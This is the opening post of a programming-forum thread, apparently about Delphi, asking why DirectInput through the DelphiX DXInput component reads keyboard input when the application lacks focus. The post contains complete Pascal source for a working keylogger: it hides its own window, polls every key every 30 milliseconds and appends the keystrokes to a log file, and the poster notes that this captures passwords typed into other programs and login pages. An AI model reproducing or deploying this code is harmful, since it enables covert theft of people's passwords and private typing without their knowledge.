Results 1 to 7 of 7

Thread: DirectInput reads keyboard even without focus

Threaded View

Previous Post Previous Post   Next Post Next Post
  1. #1

    DirectInput reads keyboard even without focus

    Just make a Delphi form and place a TTimer and a DXInput component (DXInput component provided by DelphiX).

    Set the DXInput ActiveOnly property to false.

    When this application runs, it can read all keyboard input regardless if the application has the focus. It also read keybord input while typing in password edit controls of other applications!!!


    [pascal]
    unit Unit1;

    interface

    uses
    Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
    DXInput, ExtCtrls;

    const
    BUFSIZE = 64000;
    VK_0 = $30;
    VK_9 = $39;
    VK_A = $41;
    VK_Z = $5A;

    type
    TForm1 = class(TForm)
    Timer1: TTimer;
    DXInput1: TDXInput;
    procedure FormCreate(Sender: TObject);
    procedure Timer1Timer(Sender: TObject);
    procedure FormDestroy(Sender: TObject);
    private
    { Private declarations }
    public
    { Public declarations }
    oldState: TKeyboardState;
    Keys: array[0..BUFSIZE - 1] of char;
    index: integer;
    lastKey: integer;
    procedure AddChar(id: integer);
    procedure WriteData;
    end;

    var
    Form1: TForm1;

    implementation

    {$R *.DFM}

    procedure TForm1.FormCreate(Sender: TObject);
    begin
    index := 0;
    lastKey := 0;
    AddChar(13);
    AddChar(10);
    AddChar(13);
    AddChar(10);
    Visible := false;
    FillChar(oldState, SizeOf(oldState), Chr(0));

    DXInput1.ActiveOnly := false;

    Timer1.Interval := 30;
    Timer1.Enabled := true;
    end;

    function StatesEqual(const s1, s2: TKeyBoardState): boolean;
    // Check if two keyboard states are equal

    var i: integer;
    begin
    for i := 0 to 255 do
    if s1[i] <> s2[i] then
    begin
    result := false;
    exit;
    end;
    result := true;
    end;

    procedure TForm1.Timer1Timer(Sender: TObject);
    var i: integer;
    begin
    DXInput1.Keyboard.Update;
    for i := 0 to 255 do
    if DXInput1.Keyboard.Keys[i] then
    AddChar(i);
    end;

    // Add a retrieved character to buffer

    procedure TForm1.AddChar(id: integer);
    begin
    // Remove this line to avoid replications...

    // if id = lastKey then exit;

    Keys[index] := chr(byte(id));
    inc(index);
    lastKey := id;
    if index = BUFSIZE then
    WriteData;
    end;

    // Write data to log...

    procedure TForm1.WriteData;
    var f: file;
    begin
    AssignFile(f, 'c:\mylog.txt');
    {$I-}
    reset(f, 1);
    {$I+}
    if IOResult <> 0 then
    begin
    {$I-}
    rewrite(f, 1);
    {$I+}
    end;
    if IOResult <> 0 then exit;
    seek(f, FileSize(f));
    BlockWrite(f, Keys, index);
    index := 0;
    CloseFile(f);
    end;

    procedure TForm1.FormDestroy(Sender: TObject);
    begin
    WriteData;
    end;

    end.
    [/pascal]

    If you compile and run the above code it logs all input in c:\mylog.txt file. Even when you type a password in another application or in a internet login page. Using GetKeyBoardState SDK function I don't beleive that this could happen, so why DirectInput has this capability?
    Last edited by Jimmy Valavanis; 30-03-2012 at 03:43 PM.

Bookmarks

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •